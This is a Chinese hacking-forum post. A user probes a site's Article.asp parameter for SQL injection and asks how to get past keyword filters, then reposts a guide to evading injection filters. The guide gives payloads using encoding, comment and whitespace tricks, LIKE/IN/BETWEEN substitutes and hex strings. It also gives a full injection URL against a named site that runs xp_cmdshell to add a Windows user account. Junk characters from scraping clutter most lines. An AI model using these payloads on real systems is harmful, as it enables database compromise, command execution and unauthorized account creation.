路过这个网站,检测了一下.2 D' |: E* F( t4 ~7 \$ v( _
http://www.xxx.cn/Article.asp?ID=117 and 1=1
) H, v( w5 m+ u1 I1 Y% ^* A) D直接返回主页
4 h% {4 d0 p( jhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
. e; h$ z" s3 q8 R! T直接返回主页( l9 L4 K( w) A4 F0 M( e
http://www.xxx.cn/Article.asp?ID=117 or
5 w7 ~1 e A0 a# ^没有返回主页 没有过滤or- B8 v5 ]* j3 D& V! N! s
http://www.xxx.cn/Article.asp?ID=117 and* C4 \8 t' I/ ~5 R! [! @$ D3 P8 b/ h& D
直接返回主页 看来过滤了and
$ g( l$ L% Q% l0 fhttp://www.xxx.cn/Article.asp?ID=117 or 1: h3 B7 W: T' B1 H+ r. v# {" r; u: M$ \
没有返回主页 即没有过滤or 也没有过滤1/ T& q( [7 @! y" y$ |3 m0 L
http://www.xxx.cn/Article.asp?ID=117 or 1=1( u1 l/ j D! p* I$ y8 G& X) b0 F
直接返回主页 很明显过滤了等号 . E6 E, W6 o0 ?, p# Y; Y2 r
or的特性是与and相反的., G4 w, P8 Z2 l- k8 C! G2 ]) `! Z% Z
or 1=1 爆错 或与原页面不同
9 o) [7 o1 y, v1 O7 `( ?" ^+ x1 For 1=2 原页面相同, ^* C7 |7 f% q( ^7 G
这样就是一个注入点
2 A: B2 w$ p+ }( \/ ]但他过滤了=号 我就用><号代替=号吧!
0 u1 P7 A- O( @4 C( nor 1<2 很明显是正确的,所以应该与原页面不同) z9 @0 r3 b$ p. m9 f c' D
or 1>2 很明显是错误的,所以应该与原页面相同" ]" [# j" ]& l* c: |0 F/ K
然后看看有没有过滤其他的查询语句,比如select., x4 |2 k& a, X* g: k
http://www.xxx.cn/Article.asp?ID=117 select
/ t2 \% z' k( m6 \直接返回主页
, |8 r, {+ g1 l- Y% E6 V& @4 T又迷茫了..9 n# r! T( T8 Y# q& W6 x
3 w* O0 B5 Q8 Q; @# ~ o+ c
$ j7 a9 H2 o4 jcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗+ V z+ P' k' `0 L9 g' D. O& A
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
) g) W( `& x* I, ^================================================( t9 ]4 b/ R- ]* @+ W: |8 N9 Z" r
以下是转贴:' t; E$ C4 w: x
3 w& v2 A, t" u3 z突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… 2 _% l) _/ A) j# }1 n
经过我的收集,大部分的防注入程序都过滤了以下关键字:
* d4 D- o- m6 \ S) m, l0 \and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = , z2 D8 k7 e5 m! d5 \
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
0 D: Z V/ p" y, v% ^- l对于关键字的过滤,以下是我收集的以及我个人的一些想法。 1 C* g- i9 v9 c$ D" @5 O3 h
1、运用编码技术绕过
9 C; p* k1 A) k! Z( E- { o如URLEncode编码,ASCII编码绕过。例如or 1=1即
; r* |$ v# [, U. N; w2 _1 _%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
. d5 b8 E+ v+ [. u* C
0 q- j/ {& X/ X- P- {8 B- U- W2、通过空格绕过 - _; U/ \0 K- ?& O
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 2 _- z6 U o) q' @. h8 p# m) V, @
or’ swords’ =‘swords’ - l, Y9 B6 n, A. n8 c9 I, }, O6 ~8 [
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 . u& }+ w! K: d) R5 [1 J2 T
3、运用字符串判断代替 ; o( T% M, N8 s2 V4 @
用经典的or 1=1判断绕过,如 . I, @: X# d: E6 x
or ’swords’ =’swords’ & Q6 d' n+ A7 D0 [
,这个方法就是网上在讨论的。 & x+ q+ d# V% M0 k
4、通过类型转换修饰符N绕过 5 U# a4 u* I& h: W# V+ y, l
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 8 f" S$ f" N- E2 `% p4 o; Z
5、通过+号拆解字符串绕过
V- I: e! B8 o! X1 [8 L效果值得考证,但毕竟是一种方法。如
6 r# b+ _' S. I0 For ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) , L+ w. ]; m, N$ C' y5 F
% j" V3 P/ D- r8 j! r6、通过LIKE绕过 # Q% r) c: N+ D8 ]4 H3 k
以前怎么就没想到呢?如or 6 ]' }5 @/ i0 @- ~
’swords’ LIKE ’sw’ 3 L5 p/ U4 c$ |- g
!!!显然可以很轻松的绕过 4 t6 x& F! n; z. g
“=”“>”
* `! E) `4 C# V: E8 d) J的限制……
0 ^' N$ X1 } r! a" K# r+ X7、通过IN绕过
6 ?2 [: J1 R7 }( `# k与上面的LIKE的思路差不多,如 T0 n' g" h7 z8 `; ]5 I
or ’swords’ IN (’swords’)
7 O9 @# O: a# x; h) V- ]
/ b& S5 K6 S3 c- y; U0 Z$ j. K3 u8、通过BETWEEN绕过
9 E- [4 M- {7 Z7 z7 f: p- A) T如
9 f* Q; I! b" hor ’swords’ BETWEEN ’rw’ AND ’tw’
9 X# ^2 o/ V: |6 P0 v# {0 @
$ _# s8 ?8 [/ A- S' P3 w& a6 n9、通过>或者<绕过 7 z! @3 _+ y* I$ R/ f5 A/ P
or ’swords’ > ’sw’
8 V& }% U: g3 R' Z; W) e: `# O* Kor ’swords’ < ’tw’
3 [ }- M9 q% x+ S7 a4 \5 bor 1<3 : H, @) `2 ?8 b* I
…… 2 A7 f/ t0 F( w2 E" I
10、运用注释语句绕过 h3 g& o g+ B6 N: |8 u, \
用/**/代替空格,如: . s3 \; ~3 j& b4 E% r( i; ?! J7 B" V8 `( E
UNION /**/ Select /**/user,pwd,from tbluser / z9 r- d# y$ \$ S2 k- G& F
' S0 J6 g' {- b9 A0 p; f用/**/分割敏感词,如:
* w1 E; Q4 Z0 a% }& {8 p/ M& RU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
: \7 e1 h: A! v, n4 r& @
, v4 r# M: V4 Q11、用HEX绕过,一般的IDS都无法检测出来 $ d0 d* j2 W( N0 T' w/ _
0x730079007300610064006D0069006E00 =hex(sysadmin)
* @; v& E! a9 N% r0x640062005F006F0077006E0065007200 =hex(db_owner)
) U5 Q2 s- `2 l4 \( z3 O# ^另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: ! v3 h/ H; l& j
declare @a sysname
0 o8 s+ p3 _- n3 Q6 y+ ` select @a=
# |9 y6 w! q, z1 t exec master.dbo.xp_cmdshell @a & D7 ^/ l5 O9 f! z: Y2 {6 D; K7 l
效果
! Q3 g4 Z5 x* dhttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
+ |/ j* w2 { E* V8 o6 N$ C- \1 m3 W! ]! f
其中的 5 h; h0 Z8 e, T& K- S
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
5 T, U" o4 {1 a9 R! T9 T( ]- O就是
4 ]2 X; S4 _* J* y; _7 }& @“net user angel pass /add”
+ v' f p0 k9 Q! {: ]& o
7 U- U/ x# x2 k( |" o8 ?一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。: F- K- R" @0 H: H7 u; `; l
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
2 G' O8 |3 T# e" c0 a另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似: R$ v+ S& C" L1 E4 k7 T; r
Copy code
4 L* d' s( g3 r- ?5 t; A; Eselect * from table exec xp_cmdshell'xxxxxxxxxx'1 }( }$ _; _% K8 h5 U0 ^& f
0 {8 e( `' b' |5 g% i: }: P A' X) s) y! c6 M
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
2 F0 b7 J* J! p) @& e, u$ x% L+ d9 U+ u
3 {( P: G4 L1 H: Z2 M2 U
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx', W6 p( L( e' J y. s) _3 j5 ]
1 _0 T3 w3 K% o* l
! c! [! J1 D$ P. Y, ]4 S5 oselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
% v2 x" b K1 V D# a; h$ h
: y+ @) W3 K2 S2 R2 l [. g的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?# y! i) L% k* [9 i
+ y- r: k: G3 e/ W
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
" e$ k: r4 v2 D. a$ C可能大家早就知道了,不管怎么说,发在这里吧!+ Y- M' Z" ?5 b9 P) }
/ x, W! [1 N( [. V: s; l/ m最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。$ C2 o P2 ~5 M9 n5 @! l
& H9 A0 N9 i/ F
n- U$ W( }& ~- C3 Q$ F+ M% R* b3 f9 K4 S' @5 u6 W
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
' w$ H5 k6 l2 h4 M2 z' o& N比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? 4 r$ h' D6 H5 N6 l( K* l& j
; w$ F/ ^2 x! ^/ y& Q |